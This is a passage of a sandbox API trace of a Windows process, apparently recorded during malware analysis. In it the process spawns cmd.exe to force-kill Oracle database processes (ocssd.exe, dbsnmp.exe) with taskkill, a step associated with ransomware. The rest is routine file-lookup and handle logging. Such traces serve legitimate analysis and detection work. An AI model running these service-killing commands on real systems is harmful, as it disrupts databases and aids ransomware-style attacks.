	[0035.676] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im ocssd.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x1243a400, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0xbc, hStdError=0xc0), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im ocssd.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc8, hThread=0xc4, dwProcessId=0x2b0, dwThreadId=0x73c)) returned 1
	[0035.684] CloseHandle (hObject=0xc4) returned 1
	[0035.684] CloseHandle (hObject=0xc0) returned 1
	[0035.684] CloseHandle (hObject=0xbc) returned 1
	[0035.684] CloseHandle (hObject=0xb8) returned 1
	[0035.684] CloseHandle (hObject=0xac) returned 1
	[0035.684] CloseHandle (hObject=0xb0) returned 1
	[0035.684] CloseHandle (hObject=0xb4) returned 1
	[0035.684] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0
	[0036.455] SetEvent (hEvent=0xa8) returned 1
	[0036.455] GetExitCodeProcess (in: hProcess=0xc8, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0036.456] GetProcessTimes (in: hProcess=0xc8, lpCreationTime=0x123d7d20, lpExitTime=0x123d7d28, lpKernelTime=0x123d7d30, lpUserTime=0x123d7d38 | out: lpCreationTime=0x123d7d20, lpExitTime=0x123d7d28, lpKernelTime=0x123d7d30, lpUserTime=0x123d7d38) returned 1
	[0036.456] CloseHandle (hObject=0xc8) returned 1
	[0036.456] SetEvent (hEvent=0x80) returned 1
	[0036.456] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0036.464] SetEvent (hEvent=0x80) returned 1
	[0036.464] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12440750, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0036.464] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12448d28 | out: lpFileInformation=0x12448d28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.464] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.464] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x12448d78 | out: lpFileInformation=0x12448d78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.465] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.465] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x12448dc8 | out: lpFileInformation=0x12448dc8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.465] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.465] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x12448e18 | out: lpFileInformation=0x12448e18*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.465] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.465] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x12448e68 | out: lpFileInformation=0x12448e68*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.465] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.465] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x12448eb8 | out: lpFileInformation=0x12448eb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.465] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.465] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x12448f08 | out: lpFileInformation=0x12448f08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.465] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.465] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x12448f58 | out: lpFileInformation=0x12448f58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.465] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.465] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x12448fa8 | out: lpFileInformation=0x12448fa8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.465] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.466] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x12448ff8 | out: lpFileInformation=0x12448ff8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.466] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.466] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x12449048 | out: lpFileInformation=0x12449048*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.466] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.466] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x12449098 | out: lpFileInformation=0x12449098*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.466] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.466] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12440820, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0036.466] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x124490e8 | out: lpFileInformation=0x124490e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0036.466] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124408f0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0036.466] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12449138 | out: lpFileInformation=0x12449138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0036.466] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8
	[0036.466] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0036.467] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0036.467] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0036.467] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0036.467] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0036.467] GetEnvironmentStringsW () returned 0x7eb348*
	[0036.467] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0036.468] GetCurrentProcess () returned 0xffffffff
	[0036.468] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238f110, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238f110*=0xac) returned 1
	[0036.468] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238f114, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238f114*=0xb8) returned 1
	[0036.468] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1238f118, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1238f118*=0xbc) returned 1
	[0036.468] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im dbsnmp.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12474400, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xac, hStdOutput=0xb8, hStdError=0xbc), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im dbsnmp.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc4, hThread=0xc0, dwProcessId=0x998, dwThreadId=0x990)) returned 1
	[0036.475] CloseHandle (hObject=0xc0) returned 1
	[0036.475] CloseHandle (hObject=0xbc) returned 1
	[0036.475] CloseHandle (hObject=0xb8) returned 1
	[0036.475] CloseHandle (hObject=0xac) returned 1
	[0036.475] CloseHandle (hObject=0xc8) returned 1
	[0036.475] CloseHandle (hObject=0xb4) returned 1
	[0036.475] CloseHandle (hObject=0xb0) returned 1
	[0036.475] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0
	[0036.868] SetEvent (hEvent=0xa8) returned 1
	[0036.868] GetExitCodeProcess (in: hProcess=0xc4, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0036.868] GetProcessTimes (in: hProcess=0xc4, lpCreationTime=0x1238dae0, lpExitTime=0x1238dae8, lpKernelTime=0x1238daf0, lpUserTime=0x1238daf8 | out: lpCreationTime=0x1238dae0, lpExitTime=0x1238dae8, lpKernelTime=0x1238daf0, lpUserTime=0x1238daf8) returned 1
	[0036.868] CloseHandle (hObject=0xc4) returned 1
	[0036.868] SetEvent (hEvent=0x80) returned 1
	[0036.868] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0036.877] SetEvent (hEvent=0x80) returned 1
	[0036.877] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12408b60, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0036.877] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fd5e8 | out: lpFileInformation=0x123fd5e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.877] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.877] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x123fd638 | out: lpFileInformation=0x123fd638*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.877] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.877] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fd688 | out: lpFileInformation=0x123fd688*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.877] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.877] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x123fd6d8 | out: lpFileInformation=0x123fd6d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.877] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.878] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x123fd728 | out: lpFileInformation=0x123fd728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.878] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.878] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x123fd778 | out: lpFileInformation=0x123fd778*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.878] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.878] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x123fd7c8 | out: lpFileInformation=0x123fd7c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.878] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.878] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x123fd818 | out: lpFileInformation=0x123fd818*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.878] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.878] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x123fd868 | out: lpFileInformation=0x123fd868*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0036.878] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0036.878] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x123fd8b8 | out: lpFileInformation=0x123fd8b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
